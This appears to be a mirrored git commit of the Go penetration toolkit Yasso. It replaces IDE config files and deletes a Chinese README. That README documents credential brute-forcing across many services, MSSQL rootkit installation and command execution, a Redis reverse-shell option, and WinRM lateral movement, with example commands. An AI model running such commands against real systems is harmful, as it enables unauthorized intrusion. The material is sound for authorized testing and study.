mirror of
https://github.com/sairson/Yasso.git
synced 2026-02-03 18:43:38 +08:00
Yasso更新大改动,更新扫描方式,去除不常用功能,增加指纹和协议识别,修补bug等
This commit is contained in:
8
.idea/.gitignore
generated
vendored
8
.idea/.gitignore
generated
vendored
@@ -1,8 +0,0 @@
|
||||
# Default ignored files
|
||||
/shelf/
|
||||
/workspace.xml
|
||||
# Editor-based HTTP Client requests
|
||||
/httpRequests/
|
||||
# Datasource local storage ignored files
|
||||
/dataSources/
|
||||
/dataSources.local.xml
|
||||
1
.idea/.name
generated
1
.idea/.name
generated
@@ -1 +0,0 @@
|
||||
main.go
|
||||
9
.idea/sqldialects.xml
generated
9
.idea/sqldialects.xml
generated
@@ -1,9 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="SqlDialectMappings">
|
||||
<file url="file://$PROJECT_DIR$/cmd/mssql.go" dialect="TSQL" />
|
||||
</component>
|
||||
<component name="SqlResolveMappings">
|
||||
<file url="file://$PROJECT_DIR$/cmd/mssql.go" scope="{"node":{ "@negative":"1", "group":{ "@kind":"root", "node":{ "@negative":"1" } } }}" />
|
||||
</component>
|
||||
</project>
|
||||
216
.idea/workspace.xml
generated
Normal file
216
.idea/workspace.xml
generated
Normal file
@@ -0,0 +1,216 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="AutoImportSettings">
|
||||
<option name="autoReloadType" value="ALL" />
|
||||
</component>
|
||||
<component name="ChangeListManager">
|
||||
<list default="true" id="d434aa11-9789-419c-9b84-854d0d1de639" name="变更" comment="" />
|
||||
<option name="SHOW_DIALOG" value="false" />
|
||||
<option name="HIGHLIGHT_CONFLICTS" value="true" />
|
||||
<option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
|
||||
<option name="LAST_RESOLUTION" value="IGNORE" />
|
||||
</component>
|
||||
<component name="FileTemplateManagerImpl">
|
||||
<option name="RECENT_TEMPLATES">
|
||||
<list>
|
||||
<option value="Go File" />
|
||||
</list>
|
||||
</option>
|
||||
</component>
|
||||
<component name="GOROOT" url="file://C:/Program Files/Go" />
|
||||
<component name="Git.Settings">
|
||||
<option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
|
||||
</component>
|
||||
<component name="GitSEFilterConfiguration">
|
||||
<file-type-list>
|
||||
<filtered-out-file-type name="LOCAL_BRANCH" />
|
||||
<filtered-out-file-type name="REMOTE_BRANCH" />
|
||||
<filtered-out-file-type name="TAG" />
|
||||
<filtered-out-file-type name="COMMIT_BY_MESSAGE" />
|
||||
</file-type-list>
|
||||
</component>
|
||||
<component name="GoLibraries">
|
||||
<option name="indexEntireGoPath" value="true" />
|
||||
</component>
|
||||
<component name="MarkdownSettingsMigration">
|
||||
<option name="stateVersion" value="1" />
|
||||
</component>
|
||||
<component name="ProjectId" id="27HCA3wMNnN3wKvzRkCHMliM0lN" />
|
||||
<component name="ProjectLevelVcsManager" settingsEditedManually="true" />
|
||||
<component name="ProjectViewState">
|
||||
<option name="hideEmptyMiddlePackages" value="true" />
|
||||
<option name="showLibraryContents" value="true" />
|
||||
</component>
|
||||
<component name="PropertiesComponent">{
|
||||
"keyToString": {
|
||||
"RunOnceActivity.go.format.on.save.advertiser.fired": "true",
|
||||
"RunOnceActivity.go.formatter.settings.were.checked": "true",
|
||||
"RunOnceActivity.go.migrated.go.modules.settings": "true",
|
||||
"RunOnceActivity.go.modules.go.list.on.any.changes.was.set": "true",
|
||||
"RunOnceActivity.go.watchers.conflict.with.on.save.actions.check.performed": "true",
|
||||
"WebServerToolWindowFactoryState": "false",
|
||||
"go.import.settings.migrated": "true",
|
||||
"last_opened_file_path": "F:/Yasso",
|
||||
"settings.editor.selected.configurable": "org.jetbrains.plugins.github.ui.GithubSettingsConfigurable",
|
||||
"vue.rearranger.settings.migration": "true"
|
||||
}
|
||||
}</component>
|
||||
<component name="RecentsManager">
|
||||
<key name="CopyFile.RECENT_KEYS">
|
||||
<recent name="F:\Yasso\pkg\exploit\static" />
|
||||
</key>
|
||||
<key name="MoveFile.RECENT_KEYS">
|
||||
<recent name="F:\Yasso\pkg\exploit\ldap\core\query" />
|
||||
<recent name="F:\Yasso\pkg\exploit\ldap\core\resolver" />
|
||||
<recent name="F:\Yasso\pkg\exploit" />
|
||||
<recent name="F:\Yasso\pkg\exploit\mssql\static" />
|
||||
<recent name="F:\Yasso\core\flag" />
|
||||
</key>
|
||||
</component>
|
||||
<component name="RunManager" selected="Go 构建.go build main.go">
|
||||
<configuration name="go build main.go" type="GoApplicationRunConfiguration" factoryName="Go Application" temporary="true" nameIsGenerated="true">
|
||||
<module name="Yasso" />
|
||||
<working_directory value="$PROJECT_DIR$" />
|
||||
<kind value="FILE" />
|
||||
<package value="Yasso" />
|
||||
<directory value="$PROJECT_DIR$" />
|
||||
<filePath value="$PROJECT_DIR$/main.go" />
|
||||
<method v="2" />
|
||||
</configuration>
|
||||
<configuration name="Yasso/pkg/exploit/sunlogin 中的 Test" type="GoTestRunConfiguration" factoryName="Go Test" temporary="true" nameIsGenerated="true">
|
||||
<module name="Yasso" />
|
||||
<working_directory value="$PROJECT_DIR$/pkg/exploit/sunlogin" />
|
||||
<root_directory value="$PROJECT_DIR$" />
|
||||
<kind value="PACKAGE" />
|
||||
<package value="Yasso/pkg/exploit/sunlogin" />
|
||||
<directory value="$PROJECT_DIR$" />
|
||||
<filePath value="$PROJECT_DIR$" />
|
||||
<framework value="gotest" />
|
||||
<pattern value="^\QTest\E$" />
|
||||
<method v="2" />
|
||||
</configuration>
|
||||
<configuration name="Yasso/pkg/netspy/example 中的 Test (1)" type="GoTestRunConfiguration" factoryName="Go Test" temporary="true" nameIsGenerated="true">
|
||||
<module name="Yasso" />
|
||||
<working_directory value="$PROJECT_DIR$/pkg/netspy/example" />
|
||||
<root_directory value="$PROJECT_DIR$" />
|
||||
<kind value="PACKAGE" />
|
||||
<package value="Yasso/pkg/netspy/example" />
|
||||
<directory value="$PROJECT_DIR$" />
|
||||
<filePath value="$PROJECT_DIR$" />
|
||||
<framework value="gotest" />
|
||||
<pattern value="^\QTest\E$" />
|
||||
<method v="2" />
|
||||
</configuration>
|
||||
<configuration name="Yasso/pkg/test 中的 Test" type="GoTestRunConfiguration" factoryName="Go Test" temporary="true" nameIsGenerated="true">
|
||||
<module name="Yasso" />
|
||||
<working_directory value="$PROJECT_DIR$/pkg/test" />
|
||||
<root_directory value="$PROJECT_DIR$" />
|
||||
<kind value="PACKAGE" />
|
||||
<package value="Yasso/pkg/test" />
|
||||
<directory value="$PROJECT_DIR$" />
|
||||
<filePath value="$PROJECT_DIR$" />
|
||||
<framework value="gotest" />
|
||||
<pattern value="^\QTest\E$" />
|
||||
<method v="2" />
|
||||
</configuration>
|
||||
<configuration name="sync_test.go" type="GoTestRunConfiguration" factoryName="Go Test" temporary="true" nameIsGenerated="true">
|
||||
<module name="Yasso" />
|
||||
<working_directory value="$PROJECT_DIR$/pkg/test" />
|
||||
<root_directory value="$PROJECT_DIR$" />
|
||||
<kind value="FILE" />
|
||||
<package value="Yasso" />
|
||||
<directory value="$PROJECT_DIR$" />
|
||||
<filePath value="$PROJECT_DIR$/pkg/test/sync_test.go" />
|
||||
<framework value="gotest" />
|
||||
<method v="2" />
|
||||
</configuration>
|
||||
<recent_temporary>
|
||||
<list>
|
||||
<item itemvalue="Go 构建.go build main.go" />
|
||||
<item itemvalue="Go 测试.sync_test.go" />
|
||||
<item itemvalue="Go 测试.Yasso/pkg/test 中的 Test" />
|
||||
<item itemvalue="Go 测试.Yasso/pkg/exploit/sunlogin 中的 Test" />
|
||||
<item itemvalue="Go 测试.Yasso/pkg/netspy/example 中的 Test (1)" />
|
||||
</list>
|
||||
</recent_temporary>
|
||||
</component>
|
||||
<component name="SpellCheckerSettings" RuntimeDictionaries="0" Folders="0" CustomDictionaries="0" DefaultDictionary="应用程序级" UseSingleDictionary="true" transferred="true" />
|
||||
<component name="TypeScriptGeneratedFilesManager">
|
||||
<option name="version" value="3" />
|
||||
</component>
|
||||
<component name="Vcs.Log.Tabs.Properties">
|
||||
<option name="TAB_STATES">
|
||||
<map>
|
||||
<entry key="MAIN">
|
||||
<value>
|
||||
<State />
|
||||
</value>
|
||||
</entry>
|
||||
</map>
|
||||
</option>
|
||||
</component>
|
||||
<component name="VgoProject">
|
||||
<settings-migrated>true</settings-migrated>
|
||||
</component>
|
||||
<component name="XDebuggerManager">
|
||||
<breakpoint-manager>
|
||||
<breakpoints>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>65</line>
|
||||
<option name="timeStamp" value="18" />
|
||||
</line-breakpoint>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>69</line>
|
||||
<option name="timeStamp" value="19" />
|
||||
</line-breakpoint>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>74</line>
|
||||
<option name="timeStamp" value="20" />
|
||||
</line-breakpoint>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>79</line>
|
||||
<option name="timeStamp" value="21" />
|
||||
</line-breakpoint>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>84</line>
|
||||
<option name="timeStamp" value="22" />
|
||||
</line-breakpoint>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>85</line>
|
||||
<option name="timeStamp" value="23" />
|
||||
</line-breakpoint>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>113</line>
|
||||
<option name="timeStamp" value="24" />
|
||||
</line-breakpoint>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>118</line>
|
||||
<option name="timeStamp" value="25" />
|
||||
</line-breakpoint>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>123</line>
|
||||
<option name="timeStamp" value="26" />
|
||||
</line-breakpoint>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>124</line>
|
||||
<option name="timeStamp" value="27" />
|
||||
</line-breakpoint>
|
||||
<line-breakpoint enabled="true" type="DlvLineBreakpoint">
|
||||
<url>file://$PROJECT_DIR$/example/tcp_smb_test.go</url>
|
||||
<line>125</line>
|
||||
<option name="timeStamp" value="28" />
|
||||
</line-breakpoint>
|
||||
</breakpoints>
|
||||
</breakpoint-manager>
|
||||
</component>
|
||||
</project>
|
||||
504
README.md
504
README.md
@@ -1,504 +0,0 @@
|
||||
<h1>👾 Yasso - 亚索 👾</h1>
|
||||
|
||||
建议git下来自己编译,编译命令
|
||||
```
|
||||
go build -x -v -ldflags "-s -w"
|
||||
```
|
||||
|
||||

|
||||
|
||||
[English Introduce](README_EN.md)
|
||||
|
||||
## 介绍 😈
|
||||
|
||||
Yasso 将作为一款内网辅助渗透工具集发布,它集合了许多实用功能,来帮助`Red team`成员在内网极端环境下的工具使用以及`Blue team`成员的内网自检,并且程序加入了代理功能以及`ants`
|
||||
的扫描并发,在实现功能的同时追求准确和速度
|
||||
|
||||
|
||||
使用格式为
|
||||
|
||||
```
|
||||
Yasso [模块] [参数1] [参数2] [参数...]
|
||||
```
|
||||
|
||||
模块里面的 `Flag` 代表当前命令的参数,`Global Flags` 代表全局参数(所有命令都可以用)
|
||||
|
||||
## 程序功能模块 👻
|
||||
2022年3月18日更新
|
||||
1. 增加了Redis的主从RCE和lua沙箱绕过RCE漏洞的利用方式(感谢云宇师傅@zyylhn的项目代码)
|
||||
2. 修复了部分bug,但是代码有点乱,后期有重构思想(等有空)
|
||||
3. 为-H的文件导入增加了127.0.0.1:700带端口的形式,让Yasso容错更多环境
|
||||
|
||||

|
||||
|
||||
2022年1月7日更新 -H 参数均支持ip.txt的导入,如下
|
||||
|
||||

|
||||
|
||||
2022年1月26日更新 crack 模块中 --ud --pass参数指定,由原本的字典变为字典和用户名指定模式(--ud "administrator,Oadmin" --pd "123456,11223")
|
||||
|
||||

|
||||
|
||||
|
||||
目前已有用功能模块 :
|
||||
|
||||
<b>all模块: 调用全部模块的完全扫描方式,速度更快,能力更强,ants与并发的完美结合</b>
|
||||
|
||||
```
|
||||
Usage:
|
||||
Yasso all [flags]
|
||||
|
||||
Flags:
|
||||
-h, --help help for all
|
||||
-H, --host hosts Set hosts(The format is similar to Nmap)
|
||||
--noping No use ping to scanner alive host (default true)
|
||||
-P, --ports ports Set ports(The format is similar to Nmap)
|
||||
--proxy string Set socks5 proxy
|
||||
--runtime int Set scanner ants pool thread (default 100)
|
||||
--time duration Set timeout (default 1s)
|
||||
```
|
||||
|
||||
<b>ping模块: 普通用户权限调用系统ping,root权限可以选择使用icmp数据包</b>
|
||||
|
||||
```
|
||||
Use ping or icmp to scanner alive host
|
||||
|
||||
Usage:
|
||||
Yasso ping [flags]
|
||||
|
||||
Flags:
|
||||
-h, --help help for ping
|
||||
-H, --host hosts Set hosts(The format is similar to Nmap)
|
||||
-i, --icmp Icmp packets are sent to check whether the host is alive(need root)
|
||||
```
|
||||
|
||||
<b>crack模块: 强大的爆破模块和利用工具集 - 子工具集</b>
|
||||
|
||||
```
|
||||
Available Commands:
|
||||
ftp ftp burst module (support proxy)
|
||||
grdp RDP burst module (support proxy)
|
||||
log4j Open a socket listener to test log4J vulnerabilities offline
|
||||
mongo MongoDB burst module (support proxy)
|
||||
mssql SQL Server burst module and extend tools (not support proxy)
|
||||
mysql MYSQL burst module and extend tools (support proxy)
|
||||
postgres PostgreSQL burst module (not support proxy)
|
||||
redis Redis burst and Redis extend tools (support proxy)
|
||||
smb Smb burst module (not support proxy)
|
||||
ssh SSH burst and SSH extend tools (support proxy)
|
||||
winrm winrm burst and extend tools (support proxy)
|
||||
|
||||
Flags:
|
||||
--crack make sure to use crack
|
||||
-h, --help help for crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
程序主要分为多个子命令功能,每个功能都详细标注了用法,这里详细介绍子功能
|
||||
<details>
|
||||
<summary>ftp ftp服务爆破模块 - 支持socks5代理</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for ftp
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>grdp rdp服务爆破模块 - 支持socks5代理</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
--domain string set host domain
|
||||
-h, --help help for grdp
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>log4j log4j2 服务器 - 用于内网不出网手动的log4j漏洞检测</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-b, --bind string socket listen address (default "0.0.0.0:4568")
|
||||
-h, --help help for log4j
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>mongo mongodb服务爆破模块 - 支持socks5代理</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for mongo
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>mssql sql server 服务爆破模块和提权辅助模块 - 不支持socks5代理</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
--cld string Execute WarSQLKit Command (eg.) --cld "whoami"
|
||||
-c, --cmd string Execute System command
|
||||
-h, --help help for mssql
|
||||
--hostname string Remote Connect mssql address(brute param need false)
|
||||
--inkit int install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]
|
||||
--kithelp int print SQLKit Use help
|
||||
--method int Execute System command method [1,xpshell] [2,oleshell] (default 1)
|
||||
--pass string Login ssh password
|
||||
-s, --sql string Execute sql command
|
||||
--unkit int uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]
|
||||
--upload stringArray Use ole upload file (.eg) source,dest
|
||||
--user string Login ssh username (default "sa")
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>mysq mysql服务爆破模块和数据库查询 - 支持socks5代理</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-C, --cmd string mysql sql command
|
||||
-h, --help help for mysql
|
||||
--hostname string Remote Connect a Mysql (brute param need false)
|
||||
--pass string Login ssh password
|
||||
--shell create sql shell to exec sql command
|
||||
--user string Login ssh username
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>postgres PostgreSQL服务爆破模块 - 不支持socks5代理</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for postgres
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>redis redis服务爆破模块,未授权检测,一键利用(写公钥,反弹shell) - 支持socks5代理</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for redis
|
||||
--hostname string Redis will connect this address
|
||||
--pass string set login pass
|
||||
--rebound string Rebound shell address (eg.) 192.168.1.1:4444
|
||||
--rekey string Write public key to Redis (eg.) id_rsa.pub
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>smb smb服务爆破模块 - 不支持socks5代理</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for smb
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>ssh ssh服务爆破模块,完全交互shell连接 - 支持socks5代理</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for ssh
|
||||
--hostname string Open an interactive SSH at that address(brute param need false)
|
||||
--key string ssh public key path
|
||||
--pass string Login ssh password
|
||||
--user string Login ssh username
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>winrm winrm服务爆破模块,命令执行横向 - 支持socks5代理</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-c, --cmd string Execute system command
|
||||
-h, --help help for winrm
|
||||
--hostname string Open an interactive SSH at that address(brute param need false)
|
||||
--pass string Login ssh password
|
||||
--shell Get a cmd shell with WinRM
|
||||
--user string Login ssh username
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
<b>ps 模块: 采用ants协程的端口扫描,速度更快,更准确 - 不支持socks5代理</b>
|
||||
|
||||
```
|
||||
Usage:
|
||||
Yasso ps [flags]
|
||||
|
||||
Flags:
|
||||
-h, --help help for ps
|
||||
-H, --hosts hosts Set hosts(The format is similar to Nmap)
|
||||
-p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389
|
||||
-r, --runtime int Set scanner ants pool thread (default 100)
|
||||
-t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 500ms)
|
||||
```
|
||||
|
||||
<b>vulscan 模块: 主机漏洞扫描-支持ms17010,smbghost漏洞 - 支持socks5代理</b>
|
||||
|
||||
```
|
||||
Usage:
|
||||
Yasso vulscan [flags]
|
||||
|
||||
Flags:
|
||||
--all scan all vuln contains ms17010,smbghost
|
||||
--gs scan smbghost
|
||||
-h, --help help for vulscan
|
||||
-H, --hosts hosts Set hosts(The format is similar to Nmap)
|
||||
--ms scan ms17010
|
||||
--proxy string Set socks5 proxy
|
||||
```
|
||||
|
||||
<b>webscan模块: 完全的dismap移植,拥有更将强大的指纹识别 - 支持socks5代理</b>
|
||||
|
||||
```
|
||||
Usage:
|
||||
Yasso webscan [flags]
|
||||
|
||||
Flags:
|
||||
-h, --help help for webscan
|
||||
-H, --hosts hosts Set hosts(The format is similar to Nmap)
|
||||
--ping Use ping to scan alive host
|
||||
-p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389
|
||||
--proxy string Set socks5 proxy and use it
|
||||
-r, --runtime int Set scanner ants pool thread (default 508)
|
||||
-t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s)
|
||||
```
|
||||
|
||||
<b>winscan模块: windows主机的netbios识别,oxid网卡发现,smb主机指纹 - 支持socks5代理</b>
|
||||
|
||||
```
|
||||
netbios、smb、oxid scan
|
||||
|
||||
Usage:
|
||||
Yasso winscan [flags]
|
||||
|
||||
Flags:
|
||||
--all Set all flag and use oxid,netbios,smb scan (default true)
|
||||
-h, --help help for winscan
|
||||
-H, --hosts hosts Set hosts(The format is similar to Nmap)
|
||||
--netbios Set netbios flag and use netbios scan
|
||||
--oxid Set oxid flag and use oxid scan
|
||||
--proxy string Set socks5 proxy and use it
|
||||
--smb Set smb flag and use smb scan
|
||||
--time duration Set net conn timeout (default 1s)
|
||||
```
|
||||
|
||||
## 使用例子👿
|
||||
|
||||
all 模块的扫描服务调用
|
||||
|
||||
```
|
||||
Yasso.exe all -H 192.168.248.1/24
|
||||
```
|
||||
|
||||

|
||||
|
||||
mssql 的命令执行提权和WarSQLKit-clr提权Rookit安装卸载执行功能
|
||||
|
||||
```
|
||||
Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128
|
||||
Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --method 2
|
||||
Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --inkit 1
|
||||
Yasso.exe crack mssql --hostname 192.168.248.128 --user sa --pass "admin@123" --cld "sp_getSqlHash"
|
||||
Yasso.exe crack mssql --hostname 192.168.248.128 --user sa --pass "admin@123" --cld "whoami"
|
||||
Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --unkit 1
|
||||
```
|
||||
|
||||

|
||||
|
||||
winrm 的命令执行和交互shell
|
||||
|
||||
```
|
||||
Yasso.exe crack winrm --hostname 192.168.248.128 -c "ipconfig /all" --pass "930517" --user "administrator"
|
||||
```
|
||||
|
||||

|
||||
|
||||
```
|
||||
Yasso.exe crack winrm --hostname 192.168.248.128 --shell --pass "930517" --user "administrator"
|
||||
```
|
||||
|
||||

|
||||
|
||||
grdp的强大爆破功能
|
||||
|
||||
```
|
||||
Yasso.exe crack grdp --domain "kilon.local" --pd .\pass.txt --ud .\user.txt -H 192.168.248.128/24 --crack
|
||||
```
|
||||
|
||||

|
||||
|
||||
ssh的交互式登陆
|
||||
|
||||
```
|
||||
Yasso.exe crack ssh --hostname 192.168.248.219 --user root --pass kali
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 工具优势🤡
|
||||
|
||||
- 命令简单方便,模块功能调用简洁明了,方便拓展和添加各种新功能
|
||||
- 集合了大量的常用功能,使得Yasso并不像常规的扫描器,而是作为工具集
|
||||
- 强大的SQL渗透辅助功能,提供了常见的redis,mysql,mssql等数据库的一键提权和数据库操作
|
||||
- 强大的并发爆破,使得大字典能获取更快的速度
|
||||
- rdp和winrm的强势加入,使得内网横向更加迅速和方便快捷
|
||||
|
||||
## 免责声明🧐
|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
|
||||
|
||||
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,这一点十分重要**
|
||||
|
||||
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
|
||||
|
||||
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
|
||||
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
||||
|
||||
## 工具编写参考链接👀
|
||||
|
||||
```
|
||||
https://github.com/shadow1ng/fscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/zyylhn/zscan
|
||||
https://github.com/uknowsec/SharpSQLTools
|
||||
https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit
|
||||
https://github.com/masterzen/winrm
|
||||
https://github.com/tomatome/grdp
|
||||
